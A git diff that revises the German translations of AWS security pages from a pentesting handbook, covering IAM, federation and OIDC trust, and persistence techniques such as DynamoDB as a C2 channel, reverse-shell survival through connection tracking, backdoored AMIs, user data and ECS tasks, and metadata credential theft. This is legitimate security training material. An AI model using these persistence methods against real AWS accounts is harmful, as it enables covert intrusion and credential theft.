Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen. +**Dies**, **SCPs** und **die Einhaltung des Prinzips der minimalen Berechtigung** sind die Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen. ### Sitzungsrichtlinien @@ -224,48 +224,48 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note that by default **AWS könnte Sitzungspolitiken zu Sitzungen hinzufügen**, die aufgrund dritter Gründe generiert werden. Zum Beispiel, in [unauthentifizierten Cognito-Annahmen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) wird AWS standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungscodes mit einer Sitzungspolitik** generieren, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Beachten Sie, dass **AWS standardmäßig Sitzungsrichtlinien zu Sitzungen hinzufügen kann**, die aus anderen Gründen generiert werden. Zum Beispiel wird in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) standardmäßig (unter Verwendung verbesserter Authentifizierung) von AWS **Sitzungsanmeldeinformationen mit einer Sitzungsrichtlinie** generiert, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolitik dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungspolitik dies verhindert**. +Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie den ... erlaubt" erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**. ### Identitätsföderation -Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, sicher auf AWS-Ressourcen zuzugreifen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\ +Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, den sicheren Zugriff auf AWS-Ressourcen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\ Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen. -Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, wird er als die genannte Rolle zugreifen. +Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu. -Allerdings möchten Sie normalerweise **eine andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen dem Drittanbieter-Identitätsanbieter vertrauen**, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen. +Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
-### IAM-Identitätszentrum +### IAM Identity Center -AWS IAM-Identitätszentrum (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt. +AWS IAM Identity Center (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt. Die Anmeldedomäne wird etwas sein wie `.awsapps.com`. -Um Benutzer anzumelden, gibt es 3 Identitätsquellen, die verwendet werden können: +Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden: -- Identitätszentrum-Verzeichnis: Reguläre AWS-Benutzer +- Identity Center-Verzeichnis: Reguläre AWS-Benutzer - Active Directory: Unterstützt verschiedene Connectoren - Externer Identitätsanbieter: Alle Benutzer und Gruppen stammen von einem externen Identitätsanbieter (IdP)
-Im einfachsten Fall des Identitätszentrum-Verzeichnisses wird das **Identitätszentrum eine Liste von Benutzern & Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. +Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. -Um einem Benutzer/einer Gruppe im Identitätszentrum Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identitätszentrum vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**. +Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**. #### AwsSSOInlinePolicy -Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen, die über das IAM-Identitätszentrum erstellt wurden, zu gewähren**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS-Identitätszentrum** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**. +Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu vergeben, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**. -Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**. +Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, sie **die gleichen Berechtigungen haben**. -### Cross-Account-Vertrauen und Rollen +### Cross Account Trusts und Rollen -**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) erlauben, **auf sein Konto zuzugreifen**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ +**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) den **Zugriff auf sein Konto** gewähren, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können. ### AWS Simple AD @@ -280,24 +280,24 @@ Nicht unterstützt: - Schemaerweiterungen - Kein direkter Zugriff auf OS oder Instanzen -#### Webföderation oder OpenID-Authentifizierung +#### Web-Föderation oder OpenID-Authentifizierung Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS. ### Weitere IAM-Optionen -- Sie können **eine Passwortrichtlinieneinstellung** mit Optionen wie Mindestlänge und Passwortanforderungen festlegen. -- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) enthält. Sie können einen Anmeldebericht so oft wie einmal alle **vier Stunden** generieren. +- Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen. +- Sie können **einen "Credential Report"** mit Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) herunterladen. Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren. -AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle von AWS. Mit IAM können Sie **festlegen, wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit dem geringsten Privileg** sicherzustellen. +AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit minimalen Rechten** sicherzustellen. ### IAM-ID-Präfixe -In [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur: +Auf [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur: -| ABIA | [AWS STS-Dienst-Träger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Kontextbezogene Anmeldeinformationen | +| ACCA | Kontextabhängige Anmeldeinformationen | | AGPA | Benutzergruppe | | AIDA | IAM-Benutzer | | AIPA | Amazon EC2-Instanzprofil | @@ -339,9 +339,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. +Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **die Annahme einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. -Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\ +Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen angenommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\ Ein Beispiel für eine Konfigurationsdatei: ``` [profile acc2] @@ -351,7 +351,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -Mit dieser Konfigurationsdatei können Sie dann aws cli verwenden wie: +Mit dieser Konfigurationsdatei können Sie aws cli wie folgt verwenden: ``` aws --profile acc2 ... ``` diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index e977845f1..a2604dcad 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,9 +10,9 @@ Für Informationen über SAML siehe bitte: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie nur einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält. +Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie lediglich einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält. -## OIDC - Github Actions Abuse +## OIDC - Missbrauch von Github Actions Um eine Github-Aktion als Identitätsanbieter hinzuzufügen: @@ -45,8 +45,8 @@ Um eine Github-Aktion als Identitätsanbieter hinzuzufügen: } ``` 6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde. -7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**. -8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Credentials zu konfigurieren, die im Workflow verwendet werden sollen: +7. Die **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion kennen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**. +8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Anmeldeinformationen zu konfigurieren, die im Workflow verwendet werden sollen: ```yaml name: "test AWS Access" @@ -108,13 +108,13 @@ Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem ] } ``` -Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**. +Diese Richtlinie gibt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** in der Lage sein wird, die Rolle zu **übernehmen**. -Um anzugeben, **welches Dienstkonto die Rolle übernehmen können sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel: +Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Dienstkontoname angegeben ist**, wie zum Beispiel: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` -## References +## Referenzen - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 90a3f4aaa..ed72d68bf 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie überprüfen möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können: +Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie auditieren möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können: - Die Standardrichtlinie **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) - Um [aws_iam_review](https://github.com/carlospolop/aws_iam_review) auszuführen, benötigen Sie außerdem die Berechtigungen: diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 9ddf84993..1040d7480 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -21,7 +21,7 @@ Oder entfernen Sie einfach die Verwendung des Authorizers. ### IAM-Berechtigungen -Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\ +Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich selbst Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\ Oder entfernen Sie einfach die Verwendung des Authorizers. ### API-Schlüssel diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index a1a3f5f07..340d10d12 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -38,7 +38,7 @@ Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoD ### DynamoDB als C2-Kanal -Ein Angreifer kann eine DynamoDB-Tabelle als **Befehls- und Kontrollkanal (C2)** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen. +Ein Angreifer kann eine DynamoDB-Tabelle als **Command and Control (C2) Kanal** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 9e2fb8cd3..6e63025bf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -1,4 +1,4 @@ -# AWS - EC2 Persistence +# AWS - EC2 Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -10,11 +10,11 @@ Für weitere Informationen siehe: ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Sicherheit Gruppenverbindungsverfolgung Persistenz +### Persistenz durch Verbindungsverfolgung der Sicherheitsgruppe -Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **keinen eingehenden oder ausgehenden** Verkehr zuzulassen. +Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **jeglichen eingehenden oder ausgehenden** Verkehr zu verhindern. -Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Sicherheitsgruppenverbindungsverfolgung**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### EC2 Lifecycle Manager @@ -23,25 +23,25 @@ Ein Angreifer könnte die **Generierung von AMIs oder Snapshots** aller Images o ### Geplante Instanzen -Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Rechten oder interessantem Zugriff betreiben, auf die er zugreifen könnte. +Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Berechtigungen oder interessantem Zugriff betreiben, auf die er zugreifen könnte. ### Spot Fleet Anfrage -Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot-Fleet-Anfrage für 5 Jahre** (zum Beispiel) mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** mit einer **hochprivilegierten IAM-Rolle**. +Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot Fleet Anfrage für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** sowie mit einer **hochprivilegierten IAM-Rolle**. -### Hintertür-Instanzen +### Backdoor-Instanzen -Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit Hintertüren versehen: +Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen: - Verwendung eines traditionellen **Rootkits** zum Beispiel -- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 Privilegieneskalationsoptionen](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](../aws-privilege-escalation/aws-ec2-privesc.md)) - Hintertür in den **Benutzerdaten** -### **Hintertür Startkonfiguration** +### **Hintertür-Startkonfiguration** -- Hintertür das verwendete AMI -- Hintertür die Benutzerdaten -- Hintertür das Schlüsselpaar +- Hintertür in das verwendete AMI +- Hintertür in die Benutzerdaten +- Hintertür im Schlüsselpaar ### VPN diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index d5ea3b2e8..29a84eb23 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECR Persistence +# AWS - ECR Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Verstecktes Docker-Image mit bösartigem Code -Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf heimliche Weise bereitstellen. +Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf stealthy Weise bereitstellen. ### Repository-Richtlinie @@ -41,11 +41,11 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um über eine IAM-Richtlinie **`ecr:GetAuthorizationToken`** API-Aufrufe zu tätigen, **bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können. +> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Richtlinie **zu tätigen, bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können. ### Registry-Richtlinie & Cross-Account-Replikation -Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem Sie die Cross-Account-Replikation konfigurieren, bei der Sie **das externe Konto** angeben müssen, in dem Sie die Registry replizieren möchten. +Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem man die Cross-Account-Replikation konfiguriert, wobei Sie **das externe Konto angeben** müssen, in dem Sie die Registry replizieren möchten.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index b9f0e76dd..5e58becd6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECS Persistence +# AWS - ECS Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -44,7 +44,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### Backdoor-Container in einer bestehenden ECS-Task-Definition +### Backdoor-Container in bestehender ECS-Task-Definition > [!NOTE] > TODO: Test diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 46e62f653..fce1ec3af 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -12,10 +12,10 @@ Für weitere Informationen siehe: ### Ressourcenschutzrichtlinie / Sicherheitsgruppen ändern -Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** kannst du versuchen, deinen Zugriff auf das Dateisystem aufrechtzuerhalten. +Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** können Sie versuchen, Ihren Zugriff auf das Dateisystem aufrechtzuerhalten. ### Zugriffspunkt erstellen -Du könntest **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem du **andere Persistenz** implementiert hast, um privilegierten Zugriff auf das Dateisystem zu behalten. +Sie könnten **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem Sie **andere Persistenz** implementiert haben, um privilegierten Zugriff auf das Dateisystem zu behalten. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 459f8100c..55c14811a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Persistenz in der Instanz -Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen in der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann. +Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen innerhalb der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann. ### Hintertür in der Version diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 2263c4c2d..f6318df2b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -1,4 +1,4 @@ -# AWS - IAM Persistence +# AWS - IAM Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Für weitere Informationen zugreifen: ../aws-services/aws-iam-enum.md {{#endref}} -### Häufige IAM-Persistenz +### Häufige IAM Persistenz - Erstellen Sie einen Benutzer - Fügen Sie einen kontrollierten Benutzer einer privilegierten Gruppe hinzu @@ -38,7 +38,7 @@ Sie könnten eine Vertrauensrichtlinie hinterlegen, um sie für eine von Ihnen k ``` ### Backdoor-Policy-Version -Geben Sie Administratorberechtigungen für eine Richtlinie in nicht 